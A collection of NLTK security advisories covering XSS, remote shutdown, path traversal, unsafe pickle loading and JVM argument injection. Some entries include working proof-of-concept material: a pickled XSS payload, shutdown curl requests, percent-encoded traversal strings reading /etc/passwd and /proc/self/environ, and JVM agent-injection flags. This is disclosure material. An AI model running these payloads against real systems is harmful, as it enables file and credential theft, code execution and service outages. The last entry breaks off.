NLTK before 3.9.3 fails to verify file integrity after downloading packages and before extraction in the downloader module. Attackers can perform man-in-the-middle attacks or DNS poisoning to inject malicious package contents that are extracted without validation.

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "3.5b1", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9b1", "3.9", "3.9.1", "3.9.2"]
Secure versions: []

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in nltk

Published date: 2026-03-18T20:23:33Z
CVE: CVE-2026-33230
Links:

Summary

nltk.app.wordnet_app contains a reflected cross-site scripting issue in the lookup_... route. A crafted lookup_<payload> URL can inject arbitrary HTML/JavaScript into the response page because attacker-controlled word data is reflected into HTML without escaping. This impacts users running the local WordNet Browser server and can lead to script execution in the browser origin of that application.

Details

The vulnerable flow is in nltk/app/wordnet_app.py:

This is inconsistent with the search route, which does escape user input:

As a result, a malicious lookup_... payload can inject script into the response page.

The issue is exploitable because:

  • Reference.decode() accepts attacker-controlled base64-encoded pickle data for the URL state.
  • The decoded word is reflected into HTML without html.escape().
  • The server is started with HTTPServer(("", port), MyServerHandler), so it listens on all interfaces by default, not just localhost.

PoC

  1. Start the WordNet Browser in an isolated Docker environment:
docker run -d --name nltk-wordnet-web -p 8002:8002 \
  nltk-sandbox \
  python -c "import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnet_app import wnb; wnb(8002, False)"
  1. Use the following crafted payload, which decodes to:
("<script>alert(1)</script>", {})

Encoded payload:

gAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4=
  1. Request the vulnerable route:
curl -s "http://127.0.0.1:8002/lookup_gAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4="
  1. Observed result:
The word or words '<script>alert(1)</script>' were not found in the dictionary.

127

I also validated the issue directly at function level in Docker:

import base64
import pickle

from nltk.app.wordnet_app import page_from_href

payload = base64.urlsafe_b64encode(
    pickle.dumps(("<script>alert(1)</script>", {}), -1)
).decode()

page, word = page_from_href(payload)
print(word)
print("<script>alert(1)</script>" in page)

Observed output:

WORD= <script>alert(1)</script>
HAS_SCRIPT= True

Impact

This is a reflected XSS issue in the NLTK WordNet Browser web UI.

An attacker who can convince a user to open a crafted lookup_... URL can execute arbitrary JavaScript in the origin of the local WordNet Browser application. This can be used to:

  • run arbitrary script in the browser tab
  • manipulate the page content shown to the user
  • issue same-origin requests to other WordNet Browser routes
  • potentially trigger available UI actions in that local app context

This primarily impacts users who run nltk.app.wordnet_app as a local or self-hosted HTTP service and open attacker-controlled links.

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "3.5b1", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9b1", "3.9", "3.9.1", "3.9.2", "3.9.3"]
Secure versions: []

Duplicate Advisory: [CWE-502] Unsafe Pickle Deserialization in TransitionParser Allows Remote Code Execution

Published date: 2026-08-25T03:32:11Z
Links:

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-rhp5-r9x4-f5g2. This link is maintained to preserve external references.

Original Description

NLTK before 3.10.0 (affected versions <=3.9.4) contains an unsafe pickle deserialization vulnerability in the TransitionParser.parse() method (nltk/parse/transitionparser.py). The method calls pickleload() with the default restricted=False, routing deserialization through WarningUnpickler, which does not override findclass() and therefore permits arbitrary class resolution. When an application loads an attacker-crafted model file, embedded pickle gadget chains execute arbitrary Python code with the privileges of the user running the application. NLTK provides a RestrictedUnpickler for safe deserialization, but it is not used by production code paths. Fixed in 3.10.0.

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "3.5b1", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9b1", "3.9", "3.9.1", "3.9.2", "3.9.3", "3.9.4"]
Secure versions: []

NLTK has Arbitrary File Read via Absolute Path Input in nltk.util.filestring()

Published date: 2026-03-09T21:31:38Z
CVE: CVE-2026-0846
Links:

A vulnerability in the filestring() function of the nltk.util module in nltk version 3.9.2 allows arbitrary file read due to improper validation of input paths. The function directly opens files specified by user input without sanitization, enabling attackers to access sensitive system files by providing absolute paths or traversal paths. This vulnerability can be exploited locally or remotely, particularly in scenarios where the function is used in web APIs or other interfaces that accept user-supplied input.

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "3.5b1", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9b1", "3.9", "3.9.1", "3.9.2"]
Secure versions: []

Duplicate Advisory: Model-artifact APIs bypass pathsec and touch files outside allowed roots

Published date: 2026-08-27T18:32:30Z
Links:

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-8mgp-746c-j5xp. This link is maintained to preserve external references.

Original Description

NLTK through 3.10.3 contains a path traversal vulnerability in model-artifact APIs that bypass pathsec enforcement by using raw file operations on caller-controlled paths. Attackers can read or write files outside allowed sandbox roots through TransitionParser, AveragedPerceptron, PerceptronTagger, and maxent parameter APIs when pathsec is enabled.

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9", "3.9.1", "3.9.2", "3.9.3", "3.9.4", "3.10.0", "3.10.1", "3.10.2", "3.10.3"]
Secure versions: []

Duplicate Advisory: Quadratic CPU Exhaustion in `XMLCorpusView._read_xml_fragment()`

Published date: 2026-08-27T18:32:29Z
Links:

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-vp2x-qp44-57v7. This link is maintained to preserve external references.

Original Description

NLTK versions before 3.10.3 contain a quadratic CPU exhaustion vulnerability in XMLCorpusView.readxml_fragment() that rescans accumulated XML fragments on every 1 KiB block read. Attackers can provide malformed XML corpus files to cause severe CPU consumption and denial of service through affected readers like BNCCorpusReader.

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9", "3.9.1", "3.9.2", "3.9.3", "3.9.4", "3.10.0", "3.10.1", "3.10.2"]
Secure versions: []

Unauthenticated remote shutdown in nltk.app.wordnet_app

Published date: 2026-03-19T12:42:20Z
CVE: CVE-2026-33231
Links:

Summary

nltk.app.wordnet_app allows unauthenticated remote shutdown of the local WordNet Browser HTTP server when it is started in its default mode. A simple GET /SHUTDOWN%20THE%20SERVER request causes the process to terminate immediately via os._exit(0), resulting in a denial of service.

Details

The vulnerable logic is in nltk/app/wordnet_app.py:

This means any party that can reach the listening port can stop the service with a single unauthenticated GET request when the browser is started in its normal mode.

PoC

  1. Start the WordNet Browser in Docker in its default mode:
docker run -d --name nltk-wordnet-web-default-retest -p 8004:8004 \
  nltk-sandbox \
  python -c "import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnet_app import wnb; wnb(8004, True)"
  1. Confirm the service is reachable:
curl -s -o /tmp/wn_before.html -w '%{http_code}\n' 'http://127.0.0.1:8004/'

Observed result:

200
  1. Trigger shutdown:
curl -s -o /tmp/wn_shutdown.html -w '%{http_code}\n' 'http://127.0.0.1:8004/SHUTDOWN%20THE%20SERVER'

Observed result:

000
  1. Verify the service is no longer available:
curl -s -o /tmp/wn_after.html -w '%{http_code}\n' 'http://127.0.0.1:8004/'
docker ps -a --filter name=nltk-wordnet-web-default-retest --format '{{.Names}}\t{{.Status}}'
docker logs nltk-wordnet-web-default-retest

Observed results:

000
nltk-wordnet-web-default-retest    Exited (0)
Server shutting down!

Impact

This is an unauthenticated denial-of-service issue in the NLTK WordNet Browser HTTP server.

Any reachable client can terminate the service remotely when the application is started in its default mode. The impact is limited to service availability, but it is still security-relevant because:

  • the route is accessible over HTTP
  • no authentication or CSRF-style confirmation is required
  • the server listens on all interfaces by default
  • the process exits immediately instead of performing a controlled shutdown

This primarily affects users who run nltk.app.wordnet_app and expose or otherwise allow access to its listening port.

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "3.5b1", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9b1", "3.9", "3.9.1", "3.9.2", "3.9.3"]
Secure versions: []

Duplicate Advisory: Entity-expansion DoS (billion laughs) via remaining raw ElementTree parses (CWE-776)

Published date: 2026-08-25T03:32:11Z
Links:

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-97qj-x29f-37w7. This link is maintained to preserve external references.

Original Description

NLTK versions before 3.10.3 use xml.etree.ElementTree to parse XML in multiple modules, which honors entity declarations in document DTDs. Attackers can craft XML payloads with nested entity declarations that expand from hundreds of bytes to megabytes in memory, causing denial of service.

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9", "3.9.1", "3.9.2", "3.9.3", "3.9.4", "3.10.0", "3.10.1", "3.10.2"]
Secure versions: []

nltk: Arbitrary File Read via Path Traversal in nltk.data.load() through Percent-Encoded Sequences

Published date: 2026-08-13T20:45:05Z
CVE: CVE-2026-12243
Links:

Summary

nltk.data.load() and nltk.data.find() resolve user-supplied resource names to filesystem paths using url2pathname(), which decodes percent-encoded sequences (e.g. %2e%2e to ..). Path safety checks are performed on the raw, still-encoded string before decoding occurs. An attacker supplying %2e%2e instead of .. bypasses all path validation and reads arbitrary files outside the NLTK data directory.

Vulnerable Code

nltk/data.py - find() function: url2pathname() decodes %2e%2e -> .. AFTER any safety check p = os.path.join(path, url2pathname(resourcename)) if os.path.exists(p): return FileSystemPathPointer(p)

Proof of Concept

import nltk.data nltk.data.path = [/home/user/nltk_data] %2e%2e decodes to .. via url2pathname(), escaping the data dir data = nltk.data.load(%2e%2e/SECRET_credentials.txt, format=raw) print(data) b'AWSSECRETKEY=AKIAIOSFODNN7EXAMPLE\nDATABASE_PASS=hunter2\n' All of these bypass path checks and decode identically:

Payload After url2pathname()

%2e%2e/secret ../secret .%2e/secret ../secret %2e./secret ../secret %2E%2E/secret ../secret Root Cause url2pathname() is called after path safety checks, not before. Encoding .. as %2e%2e passes every check, then decodes to a traversal sequence at filesystem access time.

Fix

Decode before checking:

from urllib.parse import unquote resourcename = unquote(resourcename) # decode first, then validate

Impact

An attacker who controls the resource name passed to nltk.data.load() can read any file the process has permission to access - credentials, environment files, SSH private keys, /etc/passwd, /proc/self/environ, application config files, etc. This affects any application that passes user-controlled input to nltk.data.load() or nltk.data.find().

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9", "3.9.1", "3.9.2", "3.9.3", "3.9.4"]
Secure versions: []

NLTK: JVM argument injection bypass via per-call options in the NLTK Stanford wrappers (incomplete fix of CVE-2026-12841)

Published date: 2026-09-01T20:38:22Z
CVE: CVE-2026-79675
Links:

Vulnerability

The fix for CVE-2026-12841 (CWE-88, JVM argument injection) added _validate_java_options() to block dangerous JVM flags such as -agentlib, -agentpath, -javaagent, -Xrunjdwp, and @argfile references. However, the validation is only applied when setting global options via config_java(). The java() function's per-call options parameter -- added by PR #3683 (CVE-2026-12615 fix) -- passes options directly to subprocess.Popen without calling _validate_java_options().

All four Stanford Java wrapper classes accept user-supplied java_options and route them through the unvalidated per-call path, bypassing the CVE-2026-12841 fix entirely.

Root Cause

In nltk/internals.py, the java() function (line 128) accepts an options keyword argument. When options is not None, it is converted to a list and prepended to the JVM command (lines 211-217) without any validation:

# nltk/internals.py, lines 211-217 (HEAD)
if options is None:
    java_options = _java_options       # validated by config_java()
else:
    if isinstance(options, str):
        options = options.split()
    java_options = list(options)       # NO validation
cmd = [_java_bin] + java_options + cmd

Compare with config_java() (line 92) which does validate:

# nltk/internals.py, lines 122-123
_validate_java_options(options)
_java_options[:] = options

The four affected wrapper classes store user-supplied java_options without validation and pass them through the unvalidated per-call path:

  1. GenericStanfordParser (nltk/parse/stanford.py): constructor parameter at line 39, stored at line 78, passed at lines 247 and 256
  2. StanfordTagger (nltk/tag/stanford.py): constructor parameter at line 51, stored at line 79, passed at line 118
  3. StanfordTokenizer (nltk/tokenize/stanford.py): constructor parameter at line 43, stored at line 66, passed at line 109
  4. StanfordSegmenter (nltk/tokenize/stanford_segmenter.py): constructor parameter at line 68, stored at line 117, passed at line 337

Proof of Concept

from nltk.internals import config_java, java, _validate_java_options

# 1. The global config_java() path correctly blocks dangerous flags:
try:
    config_java(options=["-agentpath:/tmp/evil.so"])
except ValueError as e:
    print(f"config_java blocked: {e}")   # blocked as expected

# 2. The per-call options path does NOT block them:
# (Would execute if Java were installed)
# java(["SomeClass"], classpath=".", options=["-agentpath:/tmp/evil.so"])
# This passes "-agentpath:/tmp/evil.so" directly to subprocess.Popen

# 3. Stanford wrapper classes pass through without validation:
# from nltk.parse.stanford import StanfordParser
# parser = StanfordParser(java_options="-agentpath:/tmp/evil.so")
# parser.parse(...)  # dangerous flag reaches JVM

# Verify the gap directly:
dangerous_opts = ["-agentpath:/tmp/evil.so"]
try:
    _validate_java_options(dangerous_opts)
    print("Would have been caught")
except ValueError:
    print("Correctly rejected by _validate_java_options()")

# But java() itself never calls _validate_java_options():
import inspect
source = inspect.getsource(java)
assert "_validate_java_options" not in source, "java() does not validate options"
print("Confirmed: java() does not call _validate_java_options()")

Impact

An attacker who controls the java_options parameter to any NLTK Stanford wrapper class can inject arbitrary JVM flags, including:

  • -agentpath:/path/to/malicious.so -- loads a native agent, achieving arbitrary code execution
  • -javaagent:/path/to/malicious.jar -- loads a Java agent for bytecode manipulation
  • -agentlib:jdwp=transport=dt_socket,server=y,address=*:5005 -- enables remote debugging, allowing remote code execution
  • @/path/to/argfile -- expands an argument file, which can smuggle any of the above

This is exploitable in scenarios where NLTK is deployed as a service and java_options is derived from user input, configuration files, or environment variables. The PR #3647 commit message explicitly states the fix was intended to cover StanfordSegmenter, and GenericStanfordParser but the implementation only validates in config_java().

Suggested Fix

Add _validate_java_options() to the java() function's per-call options handling:

# nltk/internals.py, in the java() function
if options is None:
    java_options = _java_options
else:
    if isinstance(options, str):
        options = options.split()
    java_options = list(options)
    _validate_java_options(java_options)   # ADD THIS LINE
cmd = [_java_bin] + java_options + cmd

This single-line addition closes the bypass for all four Stanford wrapper classes and any future callers of java(options=...).

AI tooling

AI assistance was used for the code audit and for drafting this report. The finding were manually verified against the project's source at the location cited above before reporting it, and the severity and impact assessment are the reporters.

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9", "3.9.1", "3.9.2", "3.9.3", "3.9.4", "3.10.0", "3.10.1", "3.10.2"]
Secure versions: []

NLTK Vulnerable To Path Traversal

Published date: 2019-08-23T21:53:51Z
CVE: CVE-2019-14751
Links:

NLTK Downloader before 3.4.5 is vulnerable to a directory traversal, allowing attackers to write arbitrary files via a ../ (dot dot slash) in an NLTK package (ZIP archive) that is mishandled during extraction.

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "2.0.1rc4", "3.0.0", "3.1", "3.0.5", "2.0.1rc3", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1"]
Secure versions: []

NLTK: Default ENFORCE=False Disables All pathsec Security Controls

Published date: 2026-09-02T15:40:33Z
CVE: CVE-2026-62388
Links:

NLTK's pathsec.py security module defaults to ENFORCE=False (line 24), which means all 8 security validation functions only emit RuntimeWarning instead of raising exceptions when violations are detected.

The pathsec module was introduced as the fix for CVE-2024-39705 (arbitrary code execution via pickle) and CVE-2026-0846 (path traversal). However, with ENFORCE=False as the default:

  1. pathsec.open('/etc/passwd') succeeds (reads the file, emits warning)
  2. pathsec.validatenetworkurl('http://169.254.169.254/...') succeeds (warning only)
  3. pickle.loads() via nltk.data.load() proceeds despite unsafe source (warning only)

Every security gate follows the same pattern: ```python ENFORCE = os.environ.get('NLTKPATHSECENFORCE', '').lower() in ('1', 'true', 'yes')

def validatesomething(path): if isviolation(path): if ENFORCE: raise SecurityError('...') # Only raised when env var is set else: warnings.warn('...', RuntimeWarning) # Default: warning only # Execution continues regardless ```

This means the security remediations for CVE-2024-39705 and CVE-2026-0846 are effectively disabled by default. Any user who installed NLTK 3.9.x expecting the security fixes to be active is still vulnerable unless they manually set NLTKPATHSECENFORCE=1.

PoC: ```python import nltk.pathsec import warnings

Show that ENFORCE is False by default

print(f'ENFORCE = {nltk.pathsec.ENFORCE}') # False

Attempt to read /etc/passwd through pathsec -- should be blocked

with warnings.catch_warnings(record=True) as w: warnings.simplefilter('always') result = nltk.pathsec.open('/etc/passwd', 'r') print(f'File opened: {result.name}') # /etc/passwd print(f'Warning emitted: {w[0].message}') # RuntimeWarning (not an exception) # Attack succeeds -- file is readable ```

The correct default is fail-secure: ENFORCE should be True unless explicitly disabled. The current default makes the security module opt-in rather than opt-out, defeating its purpose.

Suggested fix: Change default to ENFORCE=True. Users who need backwards compatibility can set NLTKPATHSECENFORCE=0 to explicitly disable.

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9", "3.9.1", "3.9.2", "3.9.3", "3.9.4"]
Secure versions: []

Natural Language Toolkit (NLTK): URL-Encoded Path Traversal in nltk.data.load() Allows Arbitrary Local File Read

Published date: 2026-06-16T14:34:15Z
CVE: CVE-2026-54293
Links:

Summary

nltk.data.load() in NLTK is vulnerable to path traversal via URL-encoded path separators and traversal segments when using the nltk: URL scheme. The unsafe-path regex check is performed before url2pathname() decodes the %xx sequences (a classic decode-after-check / TOCTOU-style flaw), allowing an attacker to bypass the protection documented in NLTK's SECURITY.md and read arbitrary files from the filesystem. While literal traversal strings such as ../../../etc/passwd are correctly blocked, encoded variants such as %2fetc%2fpasswd, %2e%2e%2f..., and ..%2f..%2f slip past the regex and are subsequently decoded into a real filesystem path.

Affected Component

nltk/data.py — find(), normalizeresourceurl(), and the UNSAFENOPROTOCOLRE regex check. Relevant occurrences:

data.py L650–L653 — final path constructed from url2pathname(resourcename) after checks data.py L54–L69 — _UNSAFENOPROTOCOLRE operates only on the undecoded string data.py L219–L245 — normalizeresourceurl() for nltk: scheme contributes to decode-after-check data.py L615–L618 — defense-in-depth traversal check also operates on undecoded input

Root Cause The regex UNSAFENOPROTOCOLRE is matched against the raw resource string. Path normalization via url2pathname() happens later, so any percent-encoded / (%2f) or . (%2e) is invisible to the regex but becomes active in the final path.

Proof of Concept

"""
NLTK Arbitrary File Read via URL-Encoded Path Traversal
=======================================================
Bypasses _UNSAFE_NO_PROTOCOL_RE security regex in nltk/data.py
by URL-encoding path separators and traversal components.

Affected: NLTK <= 3.9.4 (default ENFORCE=False configuration)
CWE: CWE-22 (Path Traversal)

Root Cause:
  nltk/data.py:find() checks resource names against a regex for
  traversal patterns (../, leading /, etc.) BEFORE calling
  url2pathname() which decodes %xx sequences. This is a classic
  "decode-after-check" vulnerability.
"""

import sys
import os
import warnings

# Suppress NLTK security warnings for clean PoC output
warnings.filterwarnings("ignore", category=RuntimeWarning)

# Setup
sys.path.insert(0, os.path.join(os.path.dirname(__file__), "nltk"))
os.makedirs(os.path.expanduser("~/nltk_data/corpora"), exist_ok=True)

import nltk
from nltk.pathsec import ENFORCE

BANNER = """
===================================================
 NLTK URL-Encoded Path Traversal PoC
 Affected: nltk <= 3.9.4
 Default ENFORCE={enforce}
===================================================
""".format(enforce=ENFORCE)

def test_variant(name, payload, fmt="raw"):
    """Test a single traversal variant."""
    try:
        content = nltk.data.load(payload, format=fmt)
        if isinstance(content, bytes):
            preview = content[:200].decode("utf-8", errors="replace")
        else:
            preview = content[:200]
        first_line = preview.split("\n")[0]
        print(f"  [VULN] {name}")
        print(f"         Payload: {payload}")
        print(f"         Read OK: {first_line}")
        return True
    except Exception as e:
        print(f"  [SAFE] {name}")
        print(f"         Payload: {payload}")
        print(f"         Blocked: {type(e).__name__}: {e}")
        return False


def main():
    print(BANNER)
    vulns = 0

    # --- Variant 1: URL-encoded absolute path ---
    print("[1] URL-encoded absolute path (%2f = /)")
    if test_variant(
        "Encoded leading slash bypasses ^/ regex check",
        "nltk:%2fetc%2fpasswd",
    ):
        vulns += 1

    print()

    # --- Variant 2: Encoded dot-dot traversal ---
    print("[2] URL-encoded dot-dot traversal (%2e = .)")
    if test_variant(
        "Encoded dots bypass \\.\\./ regex check",
        "nltk:corpora/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd",
    ):
        vulns += 1

    print()

    # --- Variant 3: Literal dots with encoded slash ---
    print("[3] Literal dots with encoded slash (..%2f)")
    if test_variant(
        "Encoded slash after literal .. bypasses \\.\\./ regex",
        "nltk:corpora/..%2f..%2f..%2f..%2f..%2fetc%2fpasswd",
    ):
        vulns += 1

    print()

    # --- Variant 4: Read process environment (credential leak) ---
    print("[4] Read /proc/self/environ (credential leakage)")
    try:
        content = nltk.data.load("nltk:%2fproc%2fself%2fenviron", format="raw")
        env_vars = content.decode("utf-8", errors="replace").split("\x00")
        print(f"  [VULN] Leaked {len(env_vars)} environment variables")
        for var in env_vars[:3]:
            if var:
                key = var.split("=")[0] if "=" in var else var
                print(f"         {key}=...")
        vulns += 1
    except Exception as e:
        print(f"  [SAFE] Blocked: {e}")

    print()

    # --- Control: verify normal traversal IS blocked ---
    print("[CONTROL] Verify literal ../ is blocked by regex")
    test_variant("Direct traversal (should be blocked)", "nltk:../../../etc/passwd")

    print()
    print("=" * 51)
    print(f" Result: {vulns} bypass variant(s) succeeded")
    if vulns > 0:
        print(" Status: VULNERABLE (url2pathname decodes after regex check)")
    else:
        print(" Status: Not vulnerable")
    print("=" * 51)


if __name__ == "__main__":
    main()

Impact

